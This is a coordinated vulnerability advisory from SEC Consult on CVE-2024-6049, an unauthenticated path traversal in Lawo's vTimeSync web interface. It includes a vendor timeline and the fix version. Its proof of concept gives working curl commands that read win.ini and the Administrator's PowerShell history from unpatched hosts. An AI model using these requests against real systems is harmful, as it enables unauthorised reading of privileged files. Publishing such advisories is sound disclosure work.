SEC Consult Vulnerability Lab Security Advisory < 20241024-0 > ======================================================================= title: Unauthenticated Path Traversal Vulnerability product: Lawo AG - vsm LTC Time Sync (vTimeSync) vulnerable version: <4.5.6.0 fixed version: 4.5.6.0 CVE number: CVE-2024-6049 impact: high homepage: https://docs.lawo.com/vsm-ip-broadcast-control-system/vsmgear-user-manual/discontinued-products/vsmltc found: 2024-01-11 by: Sandro Einfeldt Dennis Jung SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Lawo designs and manufactures video, audio, control and monitoring technology for broadcast, performing arts, installed sound and corporate applications. All products are developed in Germany and manufactured according to highest quality standards at the company's headquarters in the Rhine valley town of Rastatt, Germany." Source: https://lawo.com/company/about-us/ Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated Path Traversal Vulnerability (CVE-2024-6049) The web interface of vsm LTC Time Sync (vTimeSync) is vulnerable to a path traversal vulnerability. By sending a specially crafted HTTP request, an unauthenticated remote attacker can download arbitrary files from the vulnerable system. As a limitation, the exploitation is only possible if the requested file has a file extension, e.g. .exe or .txt. The web server is running with highest SYSTEM privileges per default, which enables an attacker to gain access to privileged files. Proof of concept: ----------------- 1) Unauthenticated Path Traversal Vulnerability (CVE-2024-6049) To exploit the vulnerability it is sufficient to use the following curl-command to send a request to the vulnerable web server: curl http://$host:8033/.../.../.../.../.../.../.../.../.../<Path to file> For example, the following command can be used to request the default file win.ini: curl http://$host:8033/.../.../.../.../.../.../.../.../.../Windows/win.ini If the application is running with SYSTEM-privileges (default), the following command can be used to exfiltrate the Powershell history of the Windows administrator, which might leak sensitive information: curl http://$host:8033/.../.../.../.../.../.../.../.../.../Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 4.4.12.0 According to the vendor, versions before 4.5 are affected and v4.5.6.0 includes the fixes. Vendor contact timeline: ------------------------ 2024-01-22: Contacting vendor through [email protected]; no response 2024-02-14: Contacting vendor again, adding [email protected] email 2024-02-15: Vendor response (support), asking for details. 2024-02-15: Asking where to submit the advisory, whether encryption is supported. 2024-02-16: Vendor, submit either via email or JIRA; informing us that broadcasting software security levels are not that high as the network is usually not connected to the outside. 2024-02-16: Submitting security advisory to vendor JIRA; explaining our severity estimation and risks by exposing the affected service. 2024-02-20: Vendor has taken a look at the advisory, asking whether HTTPS would solve the issue. Telling vendor, that HTTPS won't fix the problem, describing the security issue again, providing link to OWASP path traversal page, etc. 2024-02-21: Vendor cannot reproduce issue in Chrome browser. Explaining how we exploited the vulnerability. 2024-03-11: Asking for a status update; no update from R&D yet, vendor will keep us updated. 2024-04-09: Asking for a status update, whether vendor needs further support. 2024-04-10: Vendor pinged their PM, will let us know as soon as feedback is available. 2024-05-15: Vendor recently introduced "a login" for vTimeSync which only lets people with a username and a PW access the page. Vendor asks us whether this would cover the vulnerability. 2024-05-23: Telling the vendor that a login does not fix the identified path traversal issue; no response. 2024-06-17: Asking for a status update again. 2024-06-17: Vendor support has forwarded our feedback internally. 2024-09-25: Asking for a status update, CVE and affected/fixed version number. Preparing for release in October. 2024-09-25: Vendor support still has no updates, asking product management and RnD team again. 2024-09-26: Asking the vendor to keep us informed. 2024-09-27: Vendor support will review the case next Wednesday. 2024-10-10: Asking for a status update. Vendor has no news, this topic is in the R&D backlog, no date yet when development will be started. 2024-10-11: Vendor states that the developers have already fixed the issue in the current release. 2024-10-17: Asking for the version numbers (affected / patched). Vendor provides download to version 4.5.6.0 including changelog. Changelog contains information about security fix in version 4.4.13, but also changes regarding SSL/HTTPS and logon feature in 4.5.0 and 4.5.1. Asking the vendor again, in which version the issue has been fixed. Vendor informs us the problem is fixed after v4.5 and we should use the latest version. 2024-10-21: Confirming version numbers, sending draft advisory to vendor and assigned CVE-2024-6049. 2024-10-24: Coordinated release of security advisory. Solution: --------- The vendor provides a patch in versions after v4.5 which can be downloaded from the following URL, such as version 4.5.6.0. https://lawo.com/lawo-downloads/ Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Sandro Einfeldt, Dennis Jung, Johannes Greil / @2024